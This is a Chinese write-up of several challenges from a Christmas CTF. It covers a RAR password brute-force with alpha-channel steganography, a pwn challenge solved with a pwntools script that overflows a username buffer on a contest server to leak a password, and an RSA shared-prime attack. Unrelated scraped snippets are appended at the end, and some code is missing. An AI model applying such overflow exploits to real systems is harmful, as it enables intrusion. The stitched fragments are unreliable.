嗚嗚聖誕節還要打比賽我太難了,但結果還不錯的樣子~
沒有0解
拿了fakepic的一血
混進了前四十有電子證書(嗚嗚,學到現在終於要有證書了)
下面就是wp了
misc
馬老師的秘籍
fakepic
在rar的注釋裡得知密碼需要掩碼爆破,但是用archpr爆破會出錯,幸好隊友的軟體可以爆破,果斷白嫖
用accent rar password recovery的掩碼爆破解出壓縮包密碼為1cpp,解壓得到flag.png和hint
winhex開啟發現末尾有searchme_in_alpha,猜測資料藏在alpha位里
hint中說只需要取前500位,左上為資料區,用指令碼提取:
from pil import image
img = image.open(『flag.png』)
f=open(『1.txt』,『w』)
width,height=img.size
cnt=0
for i in range(0,height):
tmp = img.getpixel((0,i))
f.write(str(tmp[3]))
f.write(』\n』)
cnt+=1
if cnt>=320:
break
123
4567
891011
12
輸出後發現有效資料只有320位,且均為2的次方,觀察發現資料是8個一組,320/8等於40
分析一下,dasctf{}加上裡面的32位md5正好40個字元(神tm就是這個看似相當正確的想法,卡了我2個小時)
把得到的alpha的資料挨個算出是2的幾次方,按照8個一組連起來
hint裡有個10132430,把連線得到的數減去10132430,發現只有1和0,試了試其他幾個,也是如此,看樣子是這個方向了
然後拿著dasctf的二進位制和解出來的二進位制研究了好久…
經過兩個小時的分析,發現如果是dasctf的話,前面的資料毫無規律可言,根本找不到辦法解密
所以我開始懷疑前面的字元真的是dasctf嗎,於是終於跳出了坑,去試了試別的思路
因為第一位都是1,應該不是資料區,把後七位轉ascii碼,又得不到可見字元,於是想到了異或
拿第乙個二進位制的後七位異或127試了試,嗯?居然是f!第二個試了試,嗯?居然是l!第三個試了試,嗯?居然是a!
然後不用試了,直接寫指令碼叭:
import math
f=open(『1.txt』,『r』)
cnt=0
ans=0
char=』』
flag=』』
while 1:
a=f.readline().strip()
if a:
x=math.log(int(a),2)
ans=ans*10+x
cnt+=1
if cnt%8==0:
char=str(int(ans-10132430))
flag+=chr(int(char[1:8],2)^127)
ans=0
else:
break
print(flag)
123
4567
891011
1213
1415
1617
1819
解得flag_is:f582e9b319abe1edfd7df565fecf6f6f
交上去一看,230分,意思是一血咯?!不過估計是有大佬屯flag了,我交上去之後沒一會就有4個隊交了…
不過還是蠻開心的呀
pwn隊伍的pwn神am0n做的,太強惹~
π
64位ida開啟反編譯(可以順手nc一下,會發現自己輸password是永遠不對的),把每乙個函式重新命名一下(在點進函式前先截個圖防止資料消失)然後發現password是程式自己隨機的,再看棧上,相差0x40位,那就在使用者名稱處輸入0x40個a,發現會有密碼一起輸出,接收複製成功登入。
在這裡插入描述
在這裡插入描述
在這裡插入描述
在這裡插入描述之後就是使pi精確到小數點後七位,因為蒙特卡羅法只能到後四位,再看到棧位址只差4位,利用資料型別差異填充4個00000000位元組,然後讓pi成為3.1415925就行
於是編寫exp如下:
from pwn import *
context.os=『linux』
context.arch=『amd64』
context.log_level=『debug』
p=remote(『183.129.189.60』,10022)
payload1=『a』*0x40
p.recvuntil(「username:」)
p.sendline(payload1)
payload_tmp=p.recvline()
payload2=payload_tmp[73:len(payload_tmp)-3]
p.recvuntil(「passcode:」)
p.sendline(payload2)
p.recvuntil("n = ")
p.sendline(『4632251120704552960』)
p.interactive()
123
4567
891011
1213
1415
得到flag:flag
crypto
asa
分析加密指令碼後發現,key和iv是用兩個不同的n加密的,但是這兩個不同的n有公約數p,利用歐幾里得演算法可以直接算出p將n1,n2分解
然後就可以得到私鑰來解密key和iv,直接aes解密c得到flag,於是編寫指令碼如下:
123
4567
891011
1213
1415
1617
1819
20
執行得到flag:dasctf 2020 巔峰極客 Re部分WriteUp
分為三部分 以 為間隔,將flag的第一部分轉換為整型數字,並且滿足後項 前項分別為 0x13,0x19,0x1a,0x1c 最後一項為len flag lastpos 以 為間隔,將中間的字串分別儲存到road中 checkflag,即走四個20x.的迷宮,從s d。以第1點儲存的順序,決定迷宮的...
jiangly CSP2020模擬賽 部分題解
t3 思路 按位分治 大概就是從高到低考慮二進位制的每一位 設 solve s,i 表示當前我們考慮在 s 這個集合中選,當前只需要考慮只取出第 i 位及以下的限制 x 滿足題意的方案數 那麼對限制的第 i 位,我們把 s 中第 i 位是 1 和是 0 的分成兩個集合 a 和 b 接下來討論 如果限...
IOI2020 部分題解
乙個 n 個點的無向圖,給定每兩個點之間的簡單路徑條數 p 構造乙個滿足要求的無向圖或判斷無解。1 le n le10 3,0 le p le 3 這個 p 3 非常煩,但是可以發現若 p 3 則無解。考慮乙個最簡單的情況 其它情況一定可以從這種情況加一些點得到 2 到 4 有 3 條路徑,則 1 ...